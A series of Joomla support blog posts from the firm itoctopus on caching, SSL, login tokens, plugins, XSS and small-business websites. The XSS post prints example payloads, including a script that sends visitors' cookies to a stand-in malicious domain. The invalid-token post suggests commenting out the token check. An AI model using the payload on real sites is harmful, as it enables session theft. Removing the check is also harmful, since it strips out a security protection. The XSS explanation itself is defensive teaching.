  • Google Chrome has this weird habit of caching the https error at the tab level. So, even if you fix the problem and you remain on the same tab you will still see a problem.
  • The designer/coder must always use relative links in his template rather than absolute links. That’s a given, but apparently there are many designers that still don’t do this.

  • Joomla always fascinates us with new challenges, but we consider these challenges fun and we’re happy when we’re working towards solving them!

If you’re experiencing the same problem (you’re having a security warning on the VirtueMart checkout page), then try the above, but keep in mind that it most likely won’t apply to you (as it applies only to a very specific case), but you can use the minimax concept to locate the problem.

If you still need help resolving all these mixed content problems on your Joomla VirtueMart checkout, then we’re always here to help you. Just contact us and we’ll take it from there. Don’t worry, our fees are really, really reasonable!

How to Add Google+ to Your Joomla Website

One of the hottest things on the web at the moment is Google+, it seems that everyone wants to have it on his website in order to drive more traffic. There is currently a Google+ craze the same way there was a Facebook Like craze a couple of years ago.

In our opinion, Google+ will not only drive traffic to your Joomla website through the social networks, but it will also directly increase your SEO standings, this is Google is now using the social importance of a page (how many times the page was liked, plused, tweeted, etc…) as a factor in its page ranking algorithm.

Now let’s get to the crust of the matter, how do you add Google+ to your Joomla website?

Well, it’s very simple, all you need to do is the following:

  • Download the Google+ plugin (developed by itoctopus) from here (file size is 1.3 KB – do not unzip to install)
  • Install this plugin on your website:

    • Login to your Joomla’s control panel using a super administrator account
    • Click on Extensions, Install/Uninstall on the upper menu
    • Click on Browse next to Package File and then choose the googleplus.zip file from your computer
    • Click on Upload File & Install
    • You should see the following messages if the install is successful:
      • Install Plugin Success (just below the Extension Manager header) and
      • This plugin displays the Google+ button on your content pages. Developed by itoctopus ( https://www.itoctopus.com ). itoctopus claims no warranty whatsoever for this product. below the above message
  • Activate this plugin on your website:

    • Go to Extensions, Plugin Manager and click on the red icon next to googleplus on your website.
  • You’re done! You should now be able to see the Google+ widget on all your content pages!

If you’re having problems with this plugin or if you want to tweak it, then feel free to contact us, and we’ll have help you. Note that our fees will apply in this case. Additionally, please note that this plugin is developed for the Joomla 1.5 version, if you have a more recent version of Joomla where you need to install this plugin, then please contact us and we’ll do it for you (our reasonable fees will also apply).

Quick thing to add: Our Google+ Joomla plugin is very light, it doesn’t add unnecessary overhead to your website and it doesn’t promote our business in any way. We hope you’ll find it useful!

Disclaimer: Although we have developed this plugin at itoctopus, we claim no responsibility/warranty whatsoever for it. By using this Joomla plugin, you are agreeing to these terms.

Joomla Technicians at Your Service

As a Joomla website owner/manager, it might be that you need a Joomla technician because:

  • Your whole website is down and you need it up as soon as possible. (Note: We’ll be able to fix it for you, even if it’s midnight. You can call us anytime!)
  • Your website is functioning, but there are some pages that are showing errors.
  • You are experiencing some technical issues with your website, including, but not limited to: caching issues, SEF issues, etc…
  • Your website is hacked and now it tries to download viruses to your visitors’ PCs.
  • You have a problem in your template and you need to fix it immediately.
  • You want to move from Joomla 1.5 to a higher version of Joomla. (Joomla migration)
  • An extension that you’re trying to install on your website is not installing properly.
  • You want a custom Joomla extension to satisfy your specific business needs.
  • You are about to have your website audited (for PCI, for example) and you need to ensure that your website meets all the requirements.
  • You want to enhance the speed of your website.
  • You want to ensure that your website is secure enough to face any potential threats.
  • You want to integrate e-commerce on your website seamlessly and in the shortest time possible.
  • You want to modify the core Joomla installation to suit your business needs.
  • …the list is endless!

Now that you have established your need for a Joomla technician, you start wondering where to find one… Well, look no further, at itoctopus, we have some excellent Joomla technicians who will help you achieve your goals, and more! All of our technicians have at least 5 years experience in Joomla, and are actual programmers, so they can always find a solution to your problem! Not only that, they often have multiple solutions to your problem (and you’ll be the one to choose which solution they should go for)! They also will offer you recommendations in terms of enhancing your website’s speed, security, and even attracting more traffic!

Our Joomla technicians have worked on websites ranging from small websites belong to small businesses to very large websites belonging to multi-national corporations, and they always got the job done and on time! Also, all of them are fluent in English so you won’t have any communication problem with them, they will understand what you mean and what you want from the first time!

The rate that we charge for our Joomla technicians is very reasonable compared to the market, and the speed at which they will deliver your work is amazing. So, if you are in need of Joomla technicians, then go ahead, contact us, and rest assured that your work will always be done by an expert (who actually cares for your business) and will be done on time, every time!

Cache Is Not Clearing on Joomla

We have talked before on when to clear your cache in Joomla, so probably you have read the article and thought that now is the best time to do it. So, you went ahead and disabled the cache, thinking that this will delete your cache. But your pages are still cached. Weird!

You double check if you did the right thing, so you repeat the process: You go to SiteGlobal Configuration, and then you click on System (in the secondary menu below), and then yo choose “No” next to Cache under Cache Settings. You click on Save on the top right and then you refresh the configuration page just to make sure that your settings were saved, and they were indeed saved. You go back to your website, and you check, and, to your horror, the cache is still there. What gives?

See, the problem is that by doing the process above, you didn’t delete the cache, you just partially disabled it. Now, in order to clear your cache in Joomla, you go to ToolsClean Cache, and then you click on Site, and then you click on the checkbox next to the # sign (this checkbox should check all the checkboxes there), and then you click on Delete on the top right. You should also do the same for Administrator (next to Site).

Now what if the cache is still not clearing? According to our experience in Joomla, there are several reasons for this to happen:

  • Modified Permissions on the cache directory: This means that Joomla is now unable to modify the cache directory (usually this results from a manual modification to that directory). This consequently means that not only you’re not able to delete the cache, but that Joomla is also unable to write to the cache directory (usually the error log located under the root of your website will contain information about this permission problem). So, in this case, when your cache expires, your website will perform as if caching was not enabled.
  • Your Joomla cache directory has too many cached pages: This generally happens in very large websites. We have seen Joomla websites with over 1,000,000 cached pages (yes, that’s 1 million pages). Deleting those cached pages may take a long time or may be interrupted by a PHP script timeout. But, sooner or later, the cache will be cleared (so you don’t have to worry).

  • There is a locked file in your cache directory: Sometimes, a file might be locked (as another process is attempting to read or write from it). While this is very rare, it did happen with one of our clients.

  • You are using a 3rd party extension for caching: There are many non-native extensions that do the caching. Cache generated when these caching extensions are activated is not cleared using the normal way. So, you must read the documentation for your caching extension to see how to clear your cache.

A few things we would like to mention:

  • You can see from the above that we said that setting the Cache to “No” under configuration will only partially disable the cache, meaning that there will still be caching (there are several levels of caching in Joomla). Now in order to disable the cache completely in a default installation of Joomla, you will need to go ExtensionsPlugin Manager, and search for the “System – Cache” plugin, and disable it. By doing so (and setting the Cache to “No” in the configuration) there will be no more caching done on your Joomla website.
  • You don’t have to disable the cache in order to delete it.

  • It might be that your cache is deleted but it’s being re-generated the second you delete it (this happens when your website receives many visitors)

If you’re still having problems clearing your cache, then please contact us. We are always ready to server, and we have the most reasonable fees in North America.

How Much Disk Space Does Joomla Need?

If you are on a shared hosting plan that restricts you to a specific amount of hard disk space, then you might be wondering how much disk space does Joomla need to see if your hosting plan can accommodate it. Fear not, Joomla (core Joomla – with no extensions installed) is lightweight, so it has a very small footprint on the server.

Here’s how much disk space the two main versions of Joomla need:

  • Joomla 1.5.25: If it’s in zipped mode, then it takes 6.73 MB (Megabytes), if you extract it, then it will take about 27 MB. Note that its real size is 14.7 MB, but the number of files, which is about 4,206, will increase its footprint to 27 MB. In other words, you will need 27 MB of free space on your server to accommodate the Joomla 1.5.25 core.
  • Joomla 1.7.3: If it’s in zipped mode, then it takes 7.03 MB, if you extract it, then it will take about 29 MB. Again, the real size is 16.4 MB, but since Joomla 1.7.3 has 4,411 files, then you will need 29 MB on your server’s disk to accommodate it.

Now, of course, the above numbers are for fresh Joomla installations, and we haven’t also taken into consideration the size of the Joomla database, which is about 1 MB for, again, a fresh install.

Now, does that mean you can run a Joomla website if you only have 30 MB of free hard disk on your server? Possibly, but not for long. Here’s why:

  • Your website will generate an error log and it will also generate statistics. Both of them will increase your hard disk requirements.
  • You will probably install a non-standard template (a template that does not exist in the Joomla core) that may take many megabytes.

  • You (and your users) will add data to your website. This data might be images or it might be just text entered into the database. Again, this will increase your hard disk requirements.

  • You will most likely install extensions, and there are many extensions that are huge in size, often larger than Joomla’s own size.

So, now that we have mentioned the above, how much disk space does Joomla really need?

In our experience, you will need at least 500 MB for Joomla. We have seen Joomla websites that span tens of GB (Gigabytes – Every gigabyte is 1024 megabytes), and these websites did not contain any videos. Joomla websites that contain videos can be up to 100 GB in size (note that the size of a Joomla website can be infinity or ?).

If you need help installing Joomla, then we can certainly help you. Just contact us and you’ll see how friendly and efficient we are. Our fees are also very reasonable!

Invalid Token on Joomla Login

If you have been using Joomla for a long time, then it might be that you have faced the dreaded “Invalid Token” when you try to login to the Joomla (on the real website, not the control panel), or when you try to perform other activities, such as voting, submitting forms, etc… In this post we will explain why invalid tokens exist, what might have caused your invalid token problem, and how to fix it.

What are invalid tokens and why do they exist?

Joomla is a CMS that is targeted by spammers. Many spammers try to automatically create an account on a Joomla website, and then they try to automatically login and post some obscenities and/or spam on your website. The Joomla developers figured out a way that will block spammers from doing this, and this way is to assign a cookie to the PC trying to login. If the cookie is not there, then the system will return an “Invalid Token” error. So, in short, tokens (and the “invalid token” error) were created as a first line defense mechanism against spammers. But, as you might have probably guessed, it has side effects…

Why are you getting this invalid token error?

Now since it’s your website and you (or your legitimate users) are trying to login (or vote, or submit a form, etc..) to it normally, then theoretically, you shouldn’t see the “Invalid Token” message. However, since you are reading this post, then you have obviously experienced it! But why? Well, there are many reasons for you to get this error, and here’s a list of the most common ones:

  • Expired cookie: The cookie that Joomla expects you to have has expired. Deleting your cookies and trying to login again will fix the problem.
  • Caching: If we had a dime on how many problems caching creates on a Joomla website, we’d be billionaires! It’s amazing how many conflicts this very useful feature creates in Joomla (maybe the future of Joomla will feature a better caching system?). There are two ways to address the caching problem:

    1. Disable caching entirely. This is a two step process:
      1. Login to your Joomla control panel, go to Site, Global Configuration, System, and click on “No” next to Cache under Cache Settings and
      2. Disable the System cache plugin, by going to Extensions, Plugins, and then search for the System – Cache and click the checkbox next to it, and finally click on Disable on the top right.
    2. Fix the code for the login (or the other feature you’re having problem with) yourself, by commenting out the check for the token. (You may need Joomla Experts to do that for you!)
  • JomSocial: JomSocial is known to conflict with the user login on a Joomla website. There are several ways to solve this problem:

    • Uninstall JomSocial: Just uninstall JomSocial by going to Extensions and then the Install/Uninstall page in your Joomla Control Panel and then uninstall JomSocial.
    • Disable JomSocial plugins: Disable all JomSocial plugins. This will also solve the problem, but will definitely cause problems with JomSocial.
    • Fix the JomSocial code: Again, you may need Joomla Experts to do that for you.
  • Using legacy mode (Joomla 1.0 mode): Using Joomla in Legacy mode is known to cause this problem. Just disable the legacy mode plugin. Warning: This measure may break many other features.

  • Using legacy code for checking for tokens: Some versions of Joomla/Joomla templates feature some legacy code to check for tokens. This code needs to be changed. Here’s how to fix this problem:

    • Just open up the file /modules/mod_login/tmpl/default.php and change the line <?php JUtility::getToken(); ?> to <?php echo JHTML::_( 'form.token' ); ?>
    • In many cases, the login module is overridden by the template, so you need to check the code in your template there to see if it’s using the JUtility::getToken(); and change it to the JHTML::_( 'form.token' );
  • Disabled cookies on browser: If cookies are disabled on your browser then you will definitely see this problem. Enabling cookies will fix it.

Now there are many other ways that may cause the Invalid Token error on your Joomla website. If you have tried all of the above and you still can’t solve the problem, then please contact us and we’ll try our best to fix it for you in a very short time. Don’t worry, our fees are very reasonable and we are super fast!

404 Error on Joomla Homepage (Article #109 Not Found)

One of the common and recurring problems that our clients have is when their Joomla website shows a 404 Error on the homepage (and it says something like Article #n not found).

There are many causes for this error, including SEF installation/compatibility issues. However, the most common cause of this error is when the client deletes the Joomla article that is set to be displayed on the homepage by the main menu.

Here’s a scenario of how the problem can happen:

  • Article #109 (it can be another article number, we’re just giving an example) is set to be displayed on the homepage in the “Home” Menu Item
  • The article is either accidentally or purposely deleted.
  • The Joomla engine is confused: it doesn’t know which article to show on the homepage.
  • A 404 Error is displayed on the homepage .

Here’s how to fix this problem:

  • Login to your Joomla control panel.
  • Click on Menus (on the top) and then click on Main Menu.
  • Click on “Home” (should be the first entry in the Menu Item list. (You will notice that the URL next to Link no longer exists)
  • Choose an article that currently exists by clicking on the Select button next to Select Article under Parameters (Basic)
  • Click on Save on the top right.
  • Problem is solved.

As we have stated earlier, there might be other reasons for this problem, but this is the most common one. Now if doing the above did not solve your problem, then feel free to contact us, we’re very friendly and we’re eager to help you. Oh, and our fees are extremely reasonable!

How to Delete a Super Administrator in Joomla?

In a previous post, we explained how to create a super administrator user in Joomla. In that post, we also explained how to delete a super administrator, which can simply be done by going to the User Manager under Site, clicking on the checkbox next to the super administrator you wish to delete, and then clicking on the Delete button on the top right. While this method works for some versions of Joomla, it doesn’t work for others (you will be redirected to the User Manager’s page and the super administrator will not be deleted).

So, if the straightforward method doesn’t work for you, then here’s what you should do:

  • Login to your Joomla control panel as a super administrator (you can only delete a super administrator if you are a super administrator)
  • Click on the name of the super administrator you wish to delete
  • Change the group type of the super administrator (next to Group) from Super Administrator to Registered
  • Save his profile
  • Now click on the checkbox next to the name of that (previous) super admin, and click on delete (now it’ll certainly work)

Note that you can’t even block a super administrator, you need to first change his group to Registered, save his profile, and then open up his profile again, and click on Yes next to Block User. (We do think that the process for deleting/blocking super administrators is weird, since they can be deleted/blocked anyway, but with more work)

If you have problems deleting/blocking users on your website, then feel free to contact us and we’ll help you do that. We are very friendly and our services are reasonably priced.

The Future of Joomla

We have been working on Joomla websites since the creation of Joomla (before that we were working on Mambo websites). We consider ourselves Joomla experts, we know all the ins and outs of Joomla. Not only that, we are experts in web development in general, and we can see trends when it comes to web products, and we have reached a point where we can successfully predict the future of any web product that we currently support.

So, since Joomla is obviously a web product, what is its future?

We think that Joomla has a very bright future, and here’s why:

  • Interest in Joomla is growing in general: Take a look at the following chart that represents the number of visits to Joomla’s main website for the past 6 months:

    Joomla.org traffic - 6 month chart

    Joomla.org traffic – 6 month chart (courtesy of compete.com)

    As you can see from the above chart, US traffic to the main Joomla website has increased 30% in 6 months.

    Joomla is also one of the most downloaded CMS’s in the whole world, and it powers more than 1% (some say up to 3%) of the world’s websites.

  • The government uses Joomla: The are countless governmental websites (across the world – not just in the US) that are powered by Joomla. Just Google this. This is an important factor as governmental website are usually very reluctant to adopt a free CMS, and this means that governments and governmental agencies trust Joomla and they are confident that Joomla is here to stay.

  • The Joomla community is thriving: Just visit any Joomla forum, you’ll be able to see that there are more and more users joining this forum, this is another proof that Joomla is getting more and more attention and there are more developers working to support your Joomla website.

  • Joomla is coping nicely with the latest advancements in the Internet: Whether it’s mobile integration (there is now a Joomla app to manage your website from an Android device) or social networking, Joomla is on top of it. The Joomla creators are ensuring that Joomla remains and advanced and a cutting edge product.

Now that we know that Joomla’s future is bright? What are the things that we think will happen to Joomla in the future?

In order of no importance, here they are:

  • Seamless mobile browsing: Joomla’s functionality, templates, and extensions will be 100% compatible with smartphones, especially Android and iOS based smartphones.
  • Ability to cope with heavy load: Internet traffic, in general, is increasing. Joomla has long been criticized for not being scalable, but this will no longer be the case in the future. Joomla developers are continually working to make Joomla a lighter and yet a more powerful CMS, which means that Joomla websites will be able to cope with heave traffic load in the future.

  • An easier interface: While Joomla is not that hard, it’s not easy either. There are ways to make Joomla easier and those who are working on Joomla’s core know this. We expect that Joomla will feature an easier, more enjoyable experience for the end user in the (near?) future.

  • An easier installation: Joomla’s installation is easy, but it can be even easier. In the future, Joomla will feature a one form – one click installer that will make Joomla’s installation a breeze even for the most non-technical people.

  • More robust quality control: Anyone using Joomla can attest to the fact that Joomla’s core is extremely well written. However, the same cannot be said on some Joomla extensions that make it to the Joomla’s extensions directory. Joomla’s community is aware of this and will most likely enforce quality/security control on new Joomla extensions before they can make it to the Joomla’s extensions directory.

  • More integration with other products: Joomla currently suffers from poor integration with other prominent products, such as WordPress (for blogging) and osCommerce (for e-commerce). In the future, Joomla will be fully integrated with these products (Joomla developers will be soon coordinating with the makers of other products in order to accomplish this).

  • More extensions: Every day there are more and more extensions in the Joomla’s extensions directory. We expect that the number of extensions will keep growing for the foreseeable future.

  • Even more adoption: A faster, more robust, more flexible, and a fully mobile Joomla will increase Joomla’s adoption. This will make Joomla’s future even brighter.

If you have a Joomla website and you don’t want to wait for the future to have a certain functionality then we can help you develop it. Just contact us and we’re confident that we’ll be able to assist you.

The Joomla Experts

We, at itoctopus, are the Joomla Experts!

That’s what our ad on Google says! But do we deserve this title? We believe that we do, and here are 20 reasons on why we think we deserve the title of Joomla Experts:

  1. We know how to create any feature (extension) you want. We also can modify any existing Joomla extension to suit your needs.
  2. We have never turned down Joomla work because we were not able to do it.
  3. Our competitors outsource Jooma work to us when it’s too hard for them to do it themselves.
  4. We are the Joomla Security Experts. We use advanced techniques and a world class security software (see Acunetix and Joomla) to ensure that your website is safe and secure and that it remains safe and secure.
  5. We know how to dramatically speed up even the slowest Joomla website.
  6. We’re able to know what’s wrong with any Joomla website in an incredibly short time.
  7. We are very fast in our work. What takes our competitors hours to finish gets finished by us in an hour or less.
  8. We give you recommendations on how to enhance your website, even if you elect not to work with us.
  9. We are always friendly and professional with our customers, and we are genuinely care for our customers.
  10. We worry about the details when we work on your Joomla website.
  11. We’re not here only for the money, we’re here also for the fun and because we like to serve our customers!
  12. We can perform at 100% productivity at all times!
  13. We can fix your Joomla website even if it’s 2 AM in the morning, on Christmas eve, when all our friends are out there with their families. And we won’t complain!
  14. We will always, always find a solution to your problem. Our customers come to us and know that whatever Joomla problem they have, we will get it done!
  15. We maintain a blog where we mainly write about Joomla (tips, security, best practices, etc…) nearly every day.
  16. We have been working on Joomla since its inception (even before, when it was still called Mambo).
  17. We have worked on many Joomla websites and have many Joomla clients. Our clients include: Universities, congressmen, cities, churches, law firms, local newspapers, radio stations, restaurants, schools, small businesses (such as artists, architects, caterers, convenience stores, doctors, dog breeders, hardware stores, motels, musicians, photographers, real estate agencies, etc…), and many other non profits and for profits organizations/companies.
  18. We only write elegant code that others can easily read and can work with, should you decide to cease working with us.
  19. We treat all your data as confidential, and we destroy your website’s credentials once we cease working on it. We are professionals!
  20. Last but not least… We can re-create Joomla from scratch!

Oh, and here’s a bonus:

  1. We can ensure that your Joomla website meets all the web standards out there, including, but not limited to: PCI (for e-commerce compliance), W3C (for HTML compliance), and TrustE (for privacy compliance).

Do you still have any doubts that we are the Joomla Experts? If you don’t, then feel free to contact us whenever you need help on your Joomla website, as we are always ready to serve you, and our fees are very reasonable! If you still do have doubts, then try us anyway, and let us prove to you that we really are experts in Joomla!

Cross Site Scripting in Joomla

In our post about Acunetix and Joomla, we briefly mentioned the topic of Cross Site Scripting (XSS)1 in Joomla. In this post, we will discuss it in details.

Let us first explain what is Cross Site Scripting, and then we will discuss how it can affect your Joomla website, and finally we will tell you to secure your Joomla website against XSS attacks.

What is Cross Site Scripting (XSS)?

Cross Site Scripting is a “code injection” technique that injects (usually) malicious JavaScript to do one of the following:

  • Redirect your visitors to another website (where they will most likely get a virus on their PC)
  • Steal your user’s cookies, which is the first thing to do in order to steal their credentials.
  • Inject virus directly into your website (so that visitors to your website will get a virus on their PCs, without even being redirected to another website)
  • Display unwanted (often obscene) content on your website

How can a visitor inject XSS code into my Joomla website?

Any input field or a textarea is a door that a malicious attacker can use to inject XSS code into your Joomla website. For example, let’s say you have a Joomla article, and below that article there is a form where people can comment on your article. The textarea where people write their comments about the article can be used to inject XSS code into your website.

Can you give me an example of Cross Site Scripting?

Let’s consider the above scenario where you have written an article and below that article there’s a “Your comments” box. Someone might comment with the following:

<script>alert('Hi! This message will show up everytime someone visits this article! Sorry!');</script>

The above will display the following alert box whenever someone visits this article:

Alert message inserted by XSS

Figure 1: Alert message inserted using XSS

Of course, the above is not really malicious, but it’s annoying: everytime someone visits this particular article he will be greeted with this stupid message.

Now, how, let’s try something more dangerous. Take a look a the following code:

<script type="text/javascript">window.location = "http://www.anotherdomainthatmayormaynotbebad.com/"</script>

The above code will simply redirect every visit to this particular article to another domain (that may or may not be bad, and that may or may not infect your visitors’ PCs with a virus).

Now, let’s try something even more dangerous. Behold the following code:

<script>document.location='http://www.anotherdomainthatisprobablymalicious.com/getCredentials?data='+ document.URL +'|' + document.cookie</script>

Here’s what the above code will do: Whenever someone visits your website, it will redirect his visit to another domain that is probably malicious, and will also pass to that other domain the URL of your Joomla website and your visitor’s cookie. Now the malicious attacker’s next step is to gain some sensitive information about your visitor from his cookie (potentially his credentials to your website).

Note that the above attack can be made in a subtle way that doesn’t even involve redirecting your users (your users will not even notice), so it might be that your website is injected with XSS, but you’re not even aware of it.

How can I protect my Joomla website against Cross Site Scripting attacks?

The answer is simple, yet it’s complicated at the same time. The straightforward answer is to block any HTML/JavaScript code from being inserted into your website by using escaping and/or encoding, but at many times you may need to allow your users to insert HTML code, which will make the process of protecting your website while maintaining the same functionality complicated. You will need to allow some HTML code and disallow some other HTML code. You will need to ensure that your users will still be able to do all the legal activities (that you allow) on your website and that malicious attackers cannot inject any bad code into your content. For that, of course, you need to have programming experience or you need to outsource this work to the Joomla Security Experts.

But shouldn’t Joomla be protected against XSS attacks by default?

Yes, it should be, and it is. The only way for XSS to be injected into your Joomla website is either if you explicitly allow JavaScript to be added by your users (which is overriding the Joomla’s default settings), or if you install some weak extensions that do not address XSS injection at all. From our experience Joomla 1.5 is more likely to get attacked by XSS than later versions of Joomla.

What do you recommend?

We recommend that you consult with some experts if you don’t have the experience to block XSS attacks yourself. We do have the necessary skills to do this work for you, all you need to do is to contact us and we’ll ensure that all XSS attacks are blocked on your website (our fees are very reasonable and we are very fast). We also recommend that you follow these security tips to further enhance the security of your Joomla website.

1Cross Site Scripting’s acronym is XSS and not CSS to avoid confusion with Cascading Style Sheets.

How to List Your Joomla Website on Google Places

In our last post on how Joomla can be used by doctors, we briefly discussed that doctors, as well as any other small businesses, should list their Joomla website on Google Places in order for their business to get more exposure. In this post we are going to elaborate on how to do this. Below is a full, step-by-step guide:

  1. The first thing that you need to do is to create a Google account. You can create a Google account here. Once you create your Google account, you need to login to Google with this Google account. If you already have an account with Google, then you can safely skip the account creation step and login directly to your Google account.
  2. The second thing that you need to do is to go to Google places. Once you’re there click on the Get Started below.

  3. Now you need to fill in your information in the country field and the phone number (for example, “United States” for country, and “212 221 2221” in your phone number). Make sure you enter the right phone number. Click on “Find Business Information” once you filled in both the country and the phone number fields.

  4. Now you need to enter all the information about your business, including the business name, the full address, your email address, your website address, a description about your business, the categories that match your business, your opening hours, your payment options, and some photos about your business. Once you have filled in all the information, click on “Submit”. Some important things that you need to be aware of:

    • Fill in all the 5 categories (don’t just fill one). The more categories you fill, the more exposure your business has. Make sure you don’t enter categories that are not relevant to your business.
    • The address of your business must be accurate and full, because Google will mail you a verification PIN to that address.
  5. That’s it! Now you will receive a mail from Google within 4 weeks containing a PIN number and a link where you should enter that PIN number. Once you enter the right PIN number, your listing will show on Google searches as part of the Google places.

If you need help adding your Joomla website to Google places, then feel free to Contact us. We’ll only charge you for an hour’s work, and our fees are very reasonable!

Joomla for Doctors

We have talked before on how small businesses can use Joomla to their advantage. Today, we are going to talk on how doctors (who run probably the most and critical important small business in every country) can use Joomla.

Let’s first discuss on why doctors need a website in general…

In this day and age, people no longer use the yellow pages to search for a business, but they use Google. And not only that, they also take Google’s recommendation into serious consideration. Let us do a small experiment, let us search for doctors near Naples, Florida on Google, and let’s see what we’ll get:

Doctors near Naples, Florida (Google Listing)

Figure 1: Doctors near Naples, Florida (Google Listing)

The above is what the person gets when s/he searches for “Doctors near Naples, Florida” on Google. Nowadays, Google lists the businesses that have enlisted with them through Google places before returning the actual search results. This is actually good for the doctors who are registered with Google places, great for those who are registered with Google places and have websites, bad for doctors who only have websites but have not registered their business with Google places, and really bad for those doctors who neither have a website nor have registered their business in Google places.

Now let’s examine the above listing further, you can easily see that the first two doctors have maps.google.com as their website address (which is not the case, of course, but Google automatically sets their website to their link on Google maps if they don’t have a website). Now guess which doctor the patients will choose? Will they choose one without a website that they know nothing about, or will they choose a doctor who has a website and whom professional information is public through that website?

Now this reason, and this reason alone, is enough to justify why each and every doctor/clinic should have a website (and should list his business with Google places).

Now why should doctors go for a Joomla website?

There are many reasons why doctors should use Joomla to build and manage their website, mainly:

  • Joomla is very easy to use: Doctors only need to create new content/update old content on their website, and this is not hard at all with Joomla, even if they have no technical experience whatsoever.
  • Joomla is everything that they need: Doctors don’t need anything that isn’t supported by Joomla, and they may only need a couple of extensions to add to the Joomla’s default installation so that Joomla satisfies all their needs.

  • Joomla needs little maintenance: A Joomla website needs very little maintenance, and even this maintenance is provided for a very reasonable fee by Joomla support companies such as itoctopus (see our Joomla Maintenance Package).

  • Joomla websites are affordable: Although most doctors do not care about expenses, it doesn’t make sense for them to pay a lot of money for a website while they can pay much less. Since Joomla is free, all the doctor needs to pay to create his website is for the installation/configuration of his Joomla website (Note that the doctor has to also pay for his template in case he opted for a paid template). And that’s it!

Now what is the typical structure of a doctor’s website?

A doctors’ website has a pretty simple structure, and it consists of the following pages:

  • Homepage: The page that (usually) visitors see first when they visit the doctor’s website. This page contains a brief information about the doctor and his area of expertise. This page typically includes a photo of the doctor.
  • Meet the Doctor: This page contains detailed information about the doctor: his/her educational background, his certificates, and his professional associations.

  • Meet the Staff: Doctors don’t usually operate alone, they have a staff behind them. This page lists the staff, mainly nurses and receptionists. The staff may also include other junior doctors serving with the main doctor in his clinic.

  • Clinic Hours: This page lists the business hours of the clinic. Most clinics are open from 8 AM to 3 PM on regular days, from 9 AM to 12 PM on Saturdays, and they close on Sundays. Ideally, this page will list the non-working holidays (for example, Christmas) so that patients will know that the doctor is closed during these days.

  • How to pay: This page will list all the payment methods that the doctor accepts, such as cash, check, Visa, Mastercard, etc…

  • Directions/Contact Us: This page contains the full address of the clinic, and it may include a map (such as a Google map). The page also lists the clinic’s coordinates such as the phone number, fax number, email, etc… Additionally, this page usually includes a form that patients can fill in to contact the doctor directly.

A doctor websites may also include other pages that consist of authority articles written by the doctor on topics concerning his profession.

Now if you are a doctor, and you need help building/managing/extending/maintaining your Joomla website, then feel free to contact us. Our fees are reasonable, we are very friendly, and we are always there (we even offer 24/7/365 Emergency Joomla Support).

VirtueMart: Adding to Cart Not Working

Several customers approached us at one time or the other with the following problem: When they try to add an item to the cart in VirtueMart (on their Joomla website), the add to cart doesn’t work (nothing will happen – the person remains on the same page).

They also tell us the following information:

The first thing that our clients tell us is that they might’ve made a mistake while installing the SSL certificate (e.g. they didn’t install it properly), but, from our experience, in 99.99% of the cases, the installation of the SSL was done the right way. However, the problem is indeed related to the SSL certificate.

Here’s what to do to fix the problem:

  • First, ensure that SSL is not enabled for the whole website. You can do this by logging in to your Joomla’s backend, and then clicking on Site on the top left, and then clicking Global Configuration in the drop down menu, and then clicking on Server in the menu below, and then choosing None from the drop down menu next to Force SSL, and finally clicking on Save on the top right.
  • The second step is to ensure that SSL is only enabled on the checkout part of your VirtueMart (you don’t need SSL anywhere in any case to meet most e-com security standards). Note that newer versions of VirtueMart allow you to enable SSL on other pages of VirtueMart too, but you only need to enable SSL on checkout (the previous post on SSL – linked to from above – explains, in details, how to enable SSL on VirtueMart’s checkout page). Also note that enabling SSL on VirtueMart may slightly differ from one version to the other.

Now if you’re experiencing this problem and you are unable to fix it by following the above steps, then please contact us (our fees are very affordable), and you’ll be surprised how efficient we are.

How to Advertise on Joomla

It is normal for a business to advertise on its website to get some extra revenue. There are many ways to advertise on a Joomla website:

  • Use contextual ads: Contextual ads are advertisements that are displayed by 3rd party companies such as Google and Yahoo. The advantages of contextual ads are the following:
    • They flow with the website: The contextual ads read the contents of your Joomla website and then try to display ads that are very relevant to your website. This is their power. When visitors see ads that are relevant to your content, they are more likely to click on them, and you are more likely to make money.
    • There is no maintenance associated with these ads: You don’t have to deal with advertisers, you don’t have to deal with payments, you don’t have to deal with anything, it’s all taken care for you.

    • They are very simple to install: All you need to do is install a JavaScript code on your website and the ads will be displayed.

    Although contextual ads are good, they have some disadvantages, including:

    • Low and slow earnings: Don’t expect to just make a substantial amount of money the moment you put these contextual ads on your website. The process to making money from contextual ads is slow and painful.
    • Ads for competitors may appear on your website: There is nothing worse for a business than to see the ads of a competitor on its own website, and this tends to happen quite often if you use contextual ads. However, Google allows you to block competitors in their ad management system.

    • You know nothing about the ads that appear on you website: Who knows, maybe you are displaying the ads of some scammers that Google hasn’t caught yet.

  • Use banners: Placing banner ads on your Joomla website is an excellent way to make revenue. The advantages of banner ads include:

    • You know who you’re advertising for: Unlike contextual ads, you know exactly who you’re advertising for when using banner advertisements. This is because your advertisers contact you directly (or you contact your advertisers directly) to put their banners on your website.
    • You get to choose which ads display on your website: Again, when using banner ads, you get to either accept or reject ads for display on your website. This will give you total control over the content of your website, including the displayed ads.

    • You’ll make more money: You are the one to set the price of your ads that display on your website when you go for banner ads, and it’s you, and you alone, who will get the money of the ads (you don’t share it with anyone else, including Google)

    The disadvantages of banner ads are the following:

    • You’ll have to manage the ad campaigns yourself: This includes approving/rejecting ads, following up with advertisers for payments, and more importantly, finding advertisers to advertise on your website.
    • Creating, installing, and managing the ad system can be time consuming: You will have to create (at best customize) an ad system to fit your needs, which may take some time and will cost you money.

If you wish to install a banner system on your website or you wish to ingrate contextual ads, then you can contact us and we can help you do so. Oh, and our fees are very affordable!

When Will Joomla 1.8 Be Released?

At itoctopus, we have started using Joomla since its inception, and we are familiar with every single version of Joomla. We are always excited to know when will the next Joomla version be released, and that’s why we’re writing this post…

As stated earlier, we have been using Joomla for a long time, however, we were never able to guess when will a (completely) new version of Joomla be released. There is no pattern whatsoever, let us explain:

  • Joomla 1.0 was released back in September of 2005.
  • Almost 2 years and six months later, Joomla 1.5 was released (in January of 2008).
  • 3 years later, Joomla 1.6 was released (in January of 2011).
  • 6 months after the release of Joomla 1.6, Joomla 1.7 was released (in July of 2011).
  • According to the Joomla official website, there will be no Joomla 1.8, but instead there will be Joomla 2.5, which will be released in January of 2012 (6 months after releasing the 1.7 version).

It’s easy to see from the above why it’s really hard to predict when will the next version of Joomla be released. There is an interesting thing that we have to mention as well, is that Joomla 1.5 will be officially maintained until April of 2012, while support will cease (or have ceased) on August of 2011 and on February of 2012 for Joomla 1.6 and 1.7 (which are later releases), respectively. We believe that the explanation to this is that Joomla 1.5 is used by so many websites, while this is not the case for Joomla 1.6 or 1.7.

